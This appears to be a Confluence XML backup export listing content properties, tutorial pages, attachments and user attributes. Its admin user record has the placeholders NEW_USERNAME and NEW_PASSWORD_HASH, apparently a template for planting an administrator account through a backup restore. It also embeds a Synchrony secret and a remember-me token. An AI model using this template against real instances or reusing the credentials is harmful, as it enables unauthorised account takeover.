<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262165</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262164</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">4</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262163</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262162</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262161</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262160</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262159</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[97a52591-901b-4e26-b38c-23180d68189c]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262158</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262157</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[566640c6-aa91-41f4-ba6b-7d02dc9ef2e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262156</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262155</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262154</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">5</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262153</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262152</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262151</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262150</id>
|
||||
<property name="name"><![CDATA[macro-count.widget]]></property>
|
||||
<property name="stringValue"><![CDATA[9-2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262149</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262148</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c6887e71-b34a-4cf8-b4d4-36b53ff35592]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262147</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[881dbc25-a20d-4773-b5a8-2a402abcfd9d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262146</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[34cd463c-b2be-49e6-9006-62679d6a59f1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262145</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8b24739b-eaaa-404e-8897-e347c68f3974]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad-debug]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceRememberMeToken" package="com.atlassian.confluence.user.persistence.dao">
|
||||
<id name="id">622593</id>
|
||||
<property name="username"><![CDATA[admin]]></property>
|
||||
<property name="createdTime">1699509859137</property>
|
||||
<property name="token"><![CDATA[d24ab7e045f654b651978d7fb48f0ce945461128]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557060</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[lastAuthenticated]]></property>
|
||||
<property name="value"><![CDATA[1699509892791]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509892791]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557059</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[passwordLastChanged]]></property>
|
||||
<property name="value"><![CDATA[1699509858738]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509858738]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557058</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[invalidPasswordAttempts]]></property>
|
||||
<property name="value"><![CDATA[0]]></property>
|
||||
<property name="lowerValue"><![CDATA[0]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557057</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[requiresPasswordChange]]></property>
|
||||
<property name="value"><![CDATA[false]]></property>
|
||||
<property name="lowerValue"><![CDATA[false]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98306</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163845</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196614</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196617</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196619</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196620</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262151</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262165</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.780</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98343</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98305</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163847</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196615</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196618</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196622</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196623</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196626</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262161</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262164</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.784</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98344</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">7</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98310</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262180</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.788</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98309</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262186</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.792</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98308</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262174</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.804</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98307</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262176</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.879</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUser" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">491521</id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="firstName"><![CDATA[]]></property>
|
||||
<property name="lowerFirstName"><![CDATA[]]></property>
|
||||
<property name="lastName"><![CDATA[admin]]></property>
|
||||
<property name="lowerLastName"><![CDATA[admin]]></property>
|
||||
<property name="displayName"><![CDATA[admin]]></property>
|
||||
<property name="lowerDisplayName"><![CDATA[admin]]></property>
|
||||
<property name="emailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="lowerEmailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="externalId"><![CDATA[d1c26bc5-04d3-4c31-b230-c9454e51186d]]></property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</component>
|
||||
<collection name="credentialRecords" class="java.util.List"><element class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user"><id name="id">524289</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Set"><element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557058</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557060</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557057</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557059</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98330</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262172</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.895</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98341</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step05-04.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-04.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262254</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262255</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262256</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262260</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98329</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262170</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.903</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98342</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262204</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262223</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262230</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98328</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262187</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.909</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98339</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"><![CDATA[step-2-image-5.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-5.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262209</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262212</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262213</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262243</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98327</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262190</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.915</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98340</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step06-image03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262211</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262214</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262224</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262244</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98334</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262169</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.921</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98345</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262226</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262229</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262242</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
